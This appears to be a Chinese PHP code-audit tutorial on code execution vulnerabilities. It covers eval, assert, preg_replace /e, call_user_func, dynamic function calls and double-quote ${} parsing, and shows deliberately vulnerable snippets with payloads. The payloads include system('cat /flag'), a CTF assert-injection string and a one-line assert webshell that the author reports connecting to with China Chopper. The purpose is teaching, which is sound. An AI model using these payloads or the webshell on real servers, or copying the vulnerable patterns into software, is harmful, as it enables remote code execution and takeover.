PHP代码审计五(代码执行漏洞)

PHP代码审计阶段,基本要理解常见Web漏洞,如Sql注入、XSS、CSRF、文件上传等,近十种安全漏洞的产生原因和初步的防御方法。

文章目录

  • 代码执行漏洞
    • 漏洞简介
    • 代码执行漏洞相关函数:
    • eval()函数
    • assert() 函数
      • CTF实例
    • preg_replace() 函数
    • call_user_func() 函数
    • 动态函数
    • PHP中双引号引起的代码执行漏洞

进入正题之前先扫一下盲区,可能有朋友已经会了,可以跳过

webshell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。一般来说,黑客在入侵了 一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过 asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。 再通过dos命令或者植入后门木马通过服务器漏洞等达到提权的目的 从而旁注同服务器其他的网站。

webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

代码执行漏洞

代码执行漏洞就是通过PHP漏洞去执行我们构造的PHP代码,该漏洞是PHP危害最为严重的漏洞之一,代码执行漏洞与命令执行漏洞有相似之处,但二者不是同物。

漏洞简介

在使用将 字符串转化成代码 的函数时,没有考虑到用户是否能控制这个字符串(说白了就是未对用户输入进行过滤或过滤不严),用户可以将代码注入到应用中执行才导致代码执行漏洞的产生。

PHP代码执行漏洞和 Sql注入、PHP命令注入漏洞的区别:

  • Sql注入漏洞是将Sql语句注入到后台数据库中进行解析并执行
  • 命令注入漏洞是指注入可以执行的系统命令(如windows中的CMD命令、linux中的Bash命令)并执行
  • PHP代码执行漏洞是将PHP代码注入到Web应用中通过Web容器执行

代码执行漏洞相关函数:

  • PHP:eval()、assert()、call_user_func_array()、preg_replace()、call_user_func()等常规函数动态函数$a($b) (比如$_GET($_POST["xxx"])
  • Python:exec
  • Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能

eval()函数

eval() 函数把字符串按照 PHP 代码来计算和执行,该字符串必须是合法的 PHP 代码,且必须以分号结尾
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。


$string = "beautiful";
$time = "winter";
 
$str = "This is a $string $time morning!";
echo $str. "
"
; eval("\$str = \"$str\";");#等同于:$str = "$str";而双引号中的代码会优先执行并替换 echo $str; ?>

值得注意的是:

  1. eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)。
  2. 注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号前一定要有\来转义,如果没有赋值操作可以不需要。

代码如下:


# 变量 $id 获取 get 方式传递的变量名为 id 的变量值(值为一个字符串),
# 然后通过eval()函数对$get赋值,最后再使用echo输出$get 的值

$id = $_GET['id'];
eval("\$get = $id;");
echo $get;
?>

页面没展示任何内容,我们尝试加上?id=1 试试,发现页面成功输出我们带上的值
PHP代码审计五(代码执行漏洞)_第1张图片
再尝试输入localhost/codeaudit/CodeExec/CodeExec1.php?id=xxxxx ,发现xxxx又成功在页面显示,凸艹还犹豫啥,直接想到肯定存在代码执行漏洞,输入 phpinfo() 命令,看看能不能显示 PHP 当前的配置信息,例如数据库版本等等…
PHP代码审计五(代码执行漏洞)_第2张图片
后台成功解析了phpinfo()函数,并返回了 phpinfo 页面,显然这不是我们希望用户看到的,暴露了很多Web容器相关配置,这将带来许多未知的危险
为什么会返回phpinfo页面呢?

# <解释>
phpinfo() # 被赋值给$id,之后执行代码:
eval("\$get = phpinfo();");
 
# 实际上相当于执行:
$get = phpinfo();
 
# 而php代码是从右往左执行,所以phpinfo()函数直接就先执行返回了phpinfo页面,这时后台php代码等同于:

     $id = $_GET['id'];
     eval("$id;");
?>

该漏洞产生的原因,就是未对用户的输入进行有效过滤

assert() 函数

编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真(为真才能继续执行)。如果该表达式为假,就中断操作

assert ( mixed $assertion [, Throwable $exception ] )

漏洞:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。跟eval(),和eval()函数区别在于参数不需要分号;结尾

eval(" phpinfo()"); <错误>
eval(" phpinfo();"); <正确>
assert(" phpinfo()"); <正确>

此函数安全隐患和 eval()函数极为类似,代码如下(和eval()函数类似):


$id = $_GET['id'];
assert("\$get = $id"); # assert()函数内部没有`;`
echo $get;
?>

跟上述evale 访问的标签页一样,进去后加上?id= phpinfo(),后台成功解析命令,并返回PHP 相关配置信息

CTF实例

[外链图片转存失败(img-mzccCxJw-1562659889650)(E:\CTF\小白学习总结\攻防世界\web\picture2\3.8.PNG)]
知道了assert断言的代码执行漏洞后,我们就来构造payload,这里利用了闭合的思想:

分析代码可知,若想得到flag,则需要给page传入的须满足

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")

尝试

?page=abc') or system("cat templates/flag.php");//

$file = "templates/abc') or system("cat templates/flag.php");//.php";

assert("strpos('templates/abc') or system("cat templates/flag.php");//.php', '..') 

得到
[外链图片转存失败(img-xHyzrQxr-1562659889650)(E:\CTF\小白学习总结\攻防世界\web\picture2\3.flag.PNG)]
(这个地方我本来在主页提交的,但是怎么都显示不出flag,可能被页眉给当起来了,ctrl+u查看源码就能看见了,或直接在源码也提交)

?page=abc') or system(phpinfo());//

就可查看phpinfo信息。

preg_replace() 函数

preg_replace() 函数用于执行正则表达式的搜索和替换。
语法:

mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit ] ) 

搜索subject中匹配 pattern(正则表达式)的部分, 用replacement进行替换。

  • PHP小于5.5的版本中,$pattern 存在 /e 模式修正符,允许代码执行
  • /e 模式修正符,使 preg_replace() 将 $replacement 当做php代码来执行

实例1:
代码如下,变量 $id 获取 get 方式传递的变量名为 id 的变量值(值为一个字符串),第一个参数从$id中正则匹配之间的字符串并保存,第二个参数取出之前保存的字符串并作为PHP代码执行:

 
    $id = $_GET['id'];
    preg_replace("/(.*)/e",'\\1',$id);
?>

这里涉及反向引用的知识:

反向引用,就是依靠子表达式的记忆功能匹配连续出现的字串或字母。表达式在匹配时,表达式引擎会将小括号 “( )” 包含的表达式所匹配到的字符串记录下来。在获取匹配结果的时候,小括号包含的表达式所匹配到的字符串可以用序号来单独获取。
“\1” 引用第1对括号内匹配到的字符串,”\2” 引用第2对括号内匹配到的字符串……以此类推。在正则(.+)\1中,\1等于(.+)中匹配到的值,也就是连续2次相同的值。
如匹配连续两个it,首先将一个单词it作为分组,然后再后面加上“\1”即可,格式为:(it)\1
如果要匹配的字串不固定,那么就将括号内的字串写成一个正则表达式。如果使用了多个分组,那么可以用“\1”,“\2”来表示每个分组(顺序从左到右)。如:([a-z])(A-Z)\1\2

通过代码分析,我们就可以构造我们的payload为:?id=phpinfo()时,页面就能成功返回phpinfo页面。
如执行命令:?id=system("cat /flag");

实例2:


preg_replace("/test/e",$_GET["h"],"jutst test");
?>

哼哼,这个就不再多说了。

call_user_func() 函数

函数说明:
call_user_func() 把第一个参数作为回调函数调用

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) 

第一个参数 callback 是被调用的函数的函数名,其余参数是被调用函数的参数。

call_user_func() 函数不是指一个函数,而是一类函数:调用函数这一类调用函数经常用在框架中动态调用函数,一般都是较大的程序才会使用到这类函数。 这里我们就拿call_user_func()函数作为例子讲解安全隐患出在哪里

代码如下,变量 $_GET[‘id’] 获取 get 方式传递的变量名为 id 的变量值作为被调用函数的函数名,而变量 $_GET[‘data’] 则获取 get 方式传递的变量名为 data 的变量值作为该调用函数的参数


    call_user_func($_GET['id'],$_GET['data']);
?>

经过代码分析,同理,我们构造我们的payload为:id=assert&data=phpinfo()时,页面就能成功返回phpinfo页面

同样call_user_func_array()函数:
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入,这个数组得是索引数组。

动态函数

函数说明:

变量 $_GET[‘id’] 获取 get 方式传递的变量名为 id 的变量值作为函数名,而变量 $_GET[‘data’] 则获取 get 方式传递的变量名为 data 的变量值作为函数的参数

$_GET['id']($_GET['data']);

这种方式使用起来确实很方便,但也同时引来了很多安全问题,代码如下:


$_GET['id']($_GET['data']);
?>

由于PHP语言自身的设计原因,为了方便动态调用函数,引入了动态函数的写法,但也存在安全隐患。

同理,我们构造我们的payload为:id=assert&data=phpinfo()时,页面就能成功返回phpinfo页面

PHP中双引号引起的代码执行漏洞

在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。
举个简单例子:


$a = 1;
$b = 2;
echo '$a$b';//输出结果为$a$b
echo "$a$b";//输出结果为12
?>

可以看到这两个输出的结果并不相同。

在双引号中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。
PHP代码审计五(代码执行漏洞)_第3张图片
可以看到成功执行了phpinfo()

试想一下,倘若在一个cms的后台,如果 可以 修改数据库的配置文件,且配置文件中的值用 双引号 包括 ,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。
现在,让我们来修改一下代码,让我们不只能输出phpinfo

 echo "${@assert($_POST[a])}";?> //@是用来防止输出错误信息的

PHP代码审计五(代码执行漏洞)_第4张图片
菜刀成功连接。
对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。

参考:https://blog.csdn.net/God_XiangYu/article/details/97822204

你可能感兴趣的:(PHP代码审计)